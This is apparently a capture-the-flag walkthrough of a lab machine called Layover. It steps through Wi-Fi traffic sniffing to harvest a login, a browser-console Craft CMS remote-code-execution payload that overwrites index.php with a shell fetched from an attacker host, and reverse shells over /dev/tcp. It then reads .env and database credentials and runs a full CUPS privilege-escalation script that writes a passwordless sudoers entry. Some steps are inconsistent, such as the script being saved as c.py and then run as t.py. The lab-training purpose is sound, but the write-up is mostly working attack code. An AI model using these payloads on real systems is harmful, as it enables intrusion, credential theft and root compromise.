Machine Information
As is common in real life pentests, you will start the Layover box with credentials for the following account contractor / Contractor2026!
Tools Used
nmap ยท xfreerdp ยท iw ยท tshark ยท curl ยท mysql ยท php ยท ssh ยท python3 ยท gzip ยท ipptool
Reconnaisance
Command: nmap -Pn -sV -A -sS 10.129.85.85

Command: ssh contractor@10.129.X.X

Command: xfreerdp /v:10.129.85.85 /u:contractor /p:’Contractor2026!‘ /cert:ignore /dynamic-resolution

Command: getnet group sudo

Command: sudo -l

Command: sudo su –

Command: find / -name “root.txt” 2>/dev/null, find / -name “user.txt” 2>/dev/null, find / -name “flag*” 2>/dev/null
ls -la /root/ /home/contractor/

Get shell to your kali/box
Command: nc -lvnp 4444

On target machine
Command: bash -i >& /dev/tcp/10.10.11.23/4444 0>&1

Command: nmcli device wifi list, ss -tulnp

Command: ip a show wlan2, ip route

Command: cat > /tmp/open.conf <<‘EOF’
ctrl_interface=/run/wpa_supplicant
update_config=1
network={
ssid=”HTB International WiFi”
key_mgmt=NONE
scan_ssid=1
freq_list=2437
bssid=02:00:00:00:00:00
disabled=0
}
EOF

There is a clue in a .json format which gives us a clue about the Wi-Fi and that’s the captive portal โ hosted at wifi.international.htb
Command: cat /etc/chromium/policies/managed/layover-portal.json

What the file actually tell us
“_comment”: “make the airport WiFi splash the browser’s landing page, so opening
Chromium behaves like a captive portal greeting”
“HomepageLocation”: “http://wifi.international.htb/“
Command: nslookup wifi.international.htb

Command: ping 10.13.37.1

I ran curl on the domain: wifi.international.htb, but when I found the IP i ran the curl command again but with the IP and got HTTP/1.0 200 OK with the port 80
Command: curl -V http://10.13.37.1/

We need to do port forwarding by enabling SSH, the first command you need to run is
Command: mv /etc/ssh/sshd_config.d/60-cloudimg-settings.conf /etc/ssh/sshd_config.d/60-cloudimg-settings.conf.bak

Command: grep -rn “PasswordAuthentication” /etc/ssh/sshd_config /etc/ssh/sshd_config.d/ 2>/dev/null

Command: ss -tlnp | grep :22

earlier I found two wlans 2 & 3, lets try to make them up and connect to HTB International WiFi
Command: ip link set wlan2 up

Command: iw dev wlan2 connect “HTB International WiFi”

Also, run the above to check if it the wlan2 is up,
Command: iw dev

didn’t work yet, but i tried to connect to HTB International Wifi by clicking on the WiFi

Command: curl -sl http://portal.international.htb/admin
root@airside-ws01:~# curl -sI http://portal.international.htb/admin
HTTP/1.1 302 Found
Server: nginx/1.24.0 (Ubuntu)
Date: Wed, 28 Sep 2026 13:00:00 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Expires: 0
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
X-Robots-Tag: none
Content-Security-Policy: frame-ancestors ‘self’
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-Powered-By: Craft CMS
Location: http://portal.international.htb/admin/login
we can see that there is a login page taking you to CMS login Page,
Run the following commands to put wlan3 in monitor mode
Command: ip link set wlan3 down
Command: iw dev wlan3 set type monitor
Command: ip link set wlan3 up
Command: iw dev wlan3 set channel 6

Command: tshark -i wlan3 -f “tcp port 80” -w /path/file.pcap

Command: tshark -r /path/file.pcap -Y “http.request.method == POST” -T fields -e http.file_data

Command: echo ’75****726e616********56e6e7******17373776f72643d466c3167687***65636****0323621′ | xxd -r -p

Let’s Login
CMS 5.9.8 is being used

exploring further
Application Info
PHP version 8.3.6
OS version Linux 6.8.0-142-generic
Database driver & version MariaDB 10.11.14
Image driver & version Imagick 3.7.0 (ImageMagick 6.9.12-98)
Craft edition & version Craft Solo 5.9.8
Yii version 2.0.54
Twig version v3.21.1
Guzzle version 7.14.2

Jenny: Fl1ghtDeck2***!
curl -i -c /tmp/jenny.cookies
-X POST
-H ‘Content-Type: application/x-www-form-urlencoded’
–data ‘username=jenny&password=Fl1ghtDeck2026!’
http://wifi.international.htb/login
Open the browser through xfreerdp
start your python server by:
Command: python3 -m http.server 8000

Click the button ctrl+shift+j, a console will appear
Command: allow pasting

create the python script:
(async () => {
const csrf = window.Craft.csrfTokenValue;
const b = { elementType: “craft\elements\Category”, siteId: 1, search: “”,
condition: { class: “craft\elements\conditions\ElementCondition”, elementType: “craft\elements\Category”,
fieldLayouts: [ { “as rce”: { “__class”: “yii\behaviors\AttributeTypecastBehavior”,
“__construct()”: [ { attributeTypes: { typecastBeforeSave: [“Psy\Readline\Hoa\ConsoleProcessus”,”execute”] },
typecastBeforeSave: “sleep 8” } ] }, “on *”: “self::beforeSave” } ] } };
const url=’/index.php?p=admin/actions/element-search/search’;
const t0 = performance.now();
const r = await fetch(url,{method:’POST’,headers:{‘Content-Type’:’application/json’,’Accept’:’application/json’,’X-CSRF-Token’:csrf},body:JSON.stringify(b)});
returnstatus=${r.status} elapsed=${Math.round(performance.now()-t0)}ms;
})()
Command: python3 -m http.server 8000

on the console:
(async () => {
const csrf = window.Craft.csrfTokenValue;
const fire = (cmd) => {
const b = { elementType: “craft\elements\Category”, siteId: 1, search: “”,
condition: { class: “craft\elements\conditions\ElementCondition”, elementType: “craft\elements\Category”,
fieldLayouts: [ { “as rce”: { “__class”: “yii\behaviors\AttributeTypecastBehavior”,
“__construct()”: [ { attributeTypes: { typecastBeforeSave: [“Psy\Readline\Hoa\ConsoleProcessus”,”execute”] },
typecastBeforeSave: cmd } ] }, “on *”: “self::beforeSave” } ] } };
const url=’/index.php?p=admin/actions/element-search/search’;
const t0 = performance.now();
return fetch(url,{method:’POST’,headers:{‘Content-Type’:’application/json’,’Accept’:’application/json’,’X-CSRF-Token’:csrf},body:JSON.stringify(b)})
.then(r=>r.text().then(t=>({status:r.status, ms: Math.round(performance.now()-t0), head:t.slice(0,60)})));
};
const timed = await fire(“curl http://10.13.37.182:8000/shell.php –output /var/www/portal/web/index.php”);
return JSON.stringify({timed});
})()

Confirm that the python script is transferred.

browse the following URL: http://portal.international.htb/index.php?cmd=id

Command: cat /etc/passwd

on target machine, paste the following:
Command: nc -lvnp 4444

Command: bash -i >& /dev/tcp/10.13.10.10/4444 0>&1

Shell confirmed

Command: cd /home/aporter

Command: cat /var/www/portal/.env

Command: mysql -h127.0.0.1 -ucraftuser -pCraftDB_pw_2026 craft -e “SELECT * FROM htbairways_settings;”

Password Cracked!
Command: php -r ‘require “/var/www/portal/vendor/autoload.php”; $s = new yii\base\Security(); $key = “IGckihiFK64_lrSgJJ6QLkiPz-ow13Lr”; $blob = “u0E7OgbBeWhhPn1HajsFMDg0ZDJhNzUwZTUyNGMxYjBlZDk0MGFkZWE5MmEyMzc0ZjhmMmM4OGNiNTRiNDAzZTA2YWFjM2U5OWU2YWIzMGUPrGNmIwqUOPL3Y0gahxRF5wvwsBHdA3Pf4+d1XnQ4I3W/cqDF7Pr/58qVfPoNl5w=”; echo $s->decryptByKey(base64_decode($blob), $key), “\n”;’

Password: Skyp0rt_Relay!26
Command: python3 -c ‘import pty; pty.spawn(“/bin/bash”)’
Command:nc -zv 10.13.37.10 22
Command: ssh aporter@portal.international.htb,

Enter password:Skyp0rt_Relay!26

Command: cat user.txt

Root Escalation
Command: sudo su

Command: cups-config –version

๐ฏ CUPS 2.4.16 Confirmed Vulnerable
paste the following script
cat > /tmp/c.py <<‘PYEOF’
#!/usr/bin/env python3
import socket, struct, threading, time, os, gzip
HOST=”127.0.0.1″; CUPS_PORT=631; CAPTURE_PORT=9189
TARGET=”/etc/sudoers.d/aporter”; PRINTER=f”cve34990_{os.getpid()}”
TAG_OPERATION=0x01; TAG_PRINTER=0x04; TAG_END=0x03
TAG_BOOLEAN=0x22; TAG_NAME=0x42; TAG_KEYWORD=0x44
TAG_URI=0x45; TAG_CHARSET=0x47; TAG_LANGUAGE=0x48; TAG_MIMETYPE=0x49
OP_PRINT_JOB=0x0002; OP_CUPS_ADD_MODIFY_PRINTER=0x4003
OP_CUPS_DELETE_PRINTER=0x4004; OP_CUPS_CREATE_LOCAL_PRINTER=0x4028
def attr(t,n,v):
n=n.encode(); v=v.encode()
return bytes([t])+struct.pack(“>H”,len(n))+n+struct.pack(“>H”,len(v))+v
def raw_attr(t,n,v):
n=n.encode()
return bytes([t])+struct.pack(“>H”,len(n))+n+struct.pack(“>H”,len(v))+v
def boolean(n,v): return raw_attr(TAG_BOOLEAN,n,b”\x01″ if v else b”\x00″)
def ipp(op,reqid,oa,pa=None,doc=b””):
b=bytearray(struct.pack(“>BBHI”,2,0,op,reqid)); b.append(TAG_OPERATION)
for x in oa: b.extend(x)
if pa:
b.append(TAG_PRINTER)
for x in pa: b.extend(x)
b.append(TAG_END); b.extend(doc); return bytes(b)
def common():
return [attr(TAG_CHARSET,”attributes-charset”,”utf-8″),
attr(TAG_LANGUAGE,”attributes-natural-language”,”en”),
attr(TAG_NAME,”requesting-user-name”,os.getenv(“USER”,”user”))]
def http_post(path,body,token=None):
h=[f”POST {path} HTTP/1.1″,f”Host: {HOST}:{CUPS_PORT}”,
“Content-Type: application/ipp”,f”Content-Length: {len(body)}”,
“Connection: close”]
if token: h.append(f”Authorization: Local {token}”)
req=(“\r\n”.join(h)+”\r\n\r\n”).encode()+body
with socket.create_connection((HOST,CUPS_PORT),timeout=2) as s:
s.sendall(req); data=b””
while True:
try:
c=s.recv(65535)
if not c: break
data+=c
except socket.timeout: break
return data
class CaptureServer(threading.Thread):
def init(self):
super().init(daemon=True); self.token=None
def run(self):
with socket.socket() as s:
s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
s.bind((HOST,CAPTURE_PORT)); s.listen(5); s.settimeout(0.5)
end=time.time()+15
while time.time()<end and not self.token:
try: conn,_=s.accept()
except socket.timeout: continue
with conn:
conn.settimeout(3); data=b””
while b”\r\n\r\n” not in data:
c=conn.recv(4096)
if not c: break
data+=c
for line in data.decode(“latin1″,”ignore”).splitlines():
if line.lower().startswith(“authorization: local “):
self.token=line.split(None,2)[2]; break
if self.token:
body=(b”\x02\x00\x00\x01″ b”\x01″
b”\x47\x00\x12attributes-charset\x00\x05utf-8″
b”\x48\x00\x1battributes-natural-language\x00\x02en”
b”\x03″)
reply=(b”HTTP/1.1 200 OK\r\n”
b”Content-Type: application/ipp\r\n”
+f”Content-Length: {len(body)}\r\n”.encode()
+b”Connection: close\r\n\r\n”+body)
else:
reply=(b’HTTP/1.1 401 Unauthorized\r\n’
b’WWW-Authenticate: Local trc=”y”\r\n’
b’Content-Length: 0\r\nConnection: close\r\n\r\n’)
conn.sendall(reply)
def capture_token():
print(“[] Starting token capture server…”)
s=CaptureServer(); s.start()
body=ipp(OP_CUPS_CREATE_LOCAL_PRINTER,1,
common()+[attr(TAG_URI,”printer-uri”,”ipp://localhost:631/”)],
[attr(TAG_NAME,”printer-name”,”tokenleak”),
attr(TAG_URI,”device-uri”,f”ipp://{HOST}:{CAPTURE_PORT}/ipp/print”)])
http_post(“/”,body); s.join(5)
if not s.token: raise RuntimeError(“No token captured.”)
print(f”[+] Captured Local token: {s.token}”); return s.token
def printer_uri(n): return f”ipp://localhost:631/printers/{n}”
def create_file_printer():
body=ipp(OP_CUPS_CREATE_LOCAL_PRINTER,2,
common()+[attr(TAG_URI,”printer-uri”,”ipp://localhost:631/”)],
[attr(TAG_NAME,”printer-name”,PRINTER),
attr(TAG_URI,”device-uri”,f”file://{TARGET}”)])
s=socket.create_connection((HOST,CUPS_PORT),timeout=2)
req=(f”POST / HTTP/1.1\r\nHost: {HOST}:{CUPS_PORT}\r\n”
f”Content-Type: application/ipp\r\nContent-Length: {len(body)}\r\n”
f”Connection: keep-alive\r\n\r\n”).encode()+body
s.sendall(req); return s
def admin(token,op,reqid,attrs=None):
body=ipp(op,reqid,
common()+[attr(TAG_URI,”printer-uri”,printer_uri(PRINTER))],attrs)
return http_post(“/admin/”,body,token)
def print_test(token):
payload=b”aporter ALL=(ALL) NOPASSWD: ALL\n”
doc=gzip.compress(payload)
body=ipp(OP_PRINT_JOB,5000,
common()+[attr(TAG_URI,”printer-uri”,printer_uri(PRINTER)),
attr(TAG_MIMETYPE,”document-format”,”application/vnd.cups-raw”),
attr(TAG_KEYWORD,”compression”,”gzip”),
attr(TAG_NAME,”job-name”,”cve34990-proof”)],
doc=doc)
http_post(f”/printers/{PRINTER}”,body,token)
def exploit(token):
print(“[] Creating file:// printer…”)
sock=create_file_printer()
try:
for i in range(1000):
reqid=1000+i10
admin(token,OP_CUPS_ADD_MODIFY_PRINTER,reqid,
[attr(TAG_NAME,”ppd-name”,”raw”),
boolean(“printer-is-shared”,True)])
try: print_test(token)
except Exception: pass
if os.path.exists(TARGET):
print(“[+] Vulnerable!”)
print(f”[+] File created: {TARGET}”)
print(f”[+] Owner: {os.stat(TARGET).st_uid}:{os.stat(TARGET).st_gid}”)
print(“[+] Contents:”)
print(open(TARGET,”rb”).read().decode(errors=”replace”))
return True
time.sleep(0.01)
finally: sock.close()
return False
def cleanup(token):
try: admin(token,OP_CUPS_DELETE_PRINTER,9000)
except Exception: pass
if name==”main“:
print(“CVE-2026-34990 CUPS PoC”)
print(f”[] Target file: {TARGET}”)
try:
t=capture_token()
ok=exploit(t)
print(“[+] SUCCESS.” if ok else “[-] Did not win the race.”)
cleanup(t)
except Exception as e:
print(f”[-] {e}”)
PYEOF
python3 /tmp/t.py

Command: python3 c.py

Command: cat /root/root.txt

References
- Craft CMS docs: craftcms.com/docs/5.x/configure.html
- Yii2 Security class: yiiframework.com/doc/api/2.0/yii-base-security
- CVE-2026-28695 โ Craft CMS patch bypass RCE
- CVE-2026-34990 โ CUPS local privilege escalation


Leave a Reply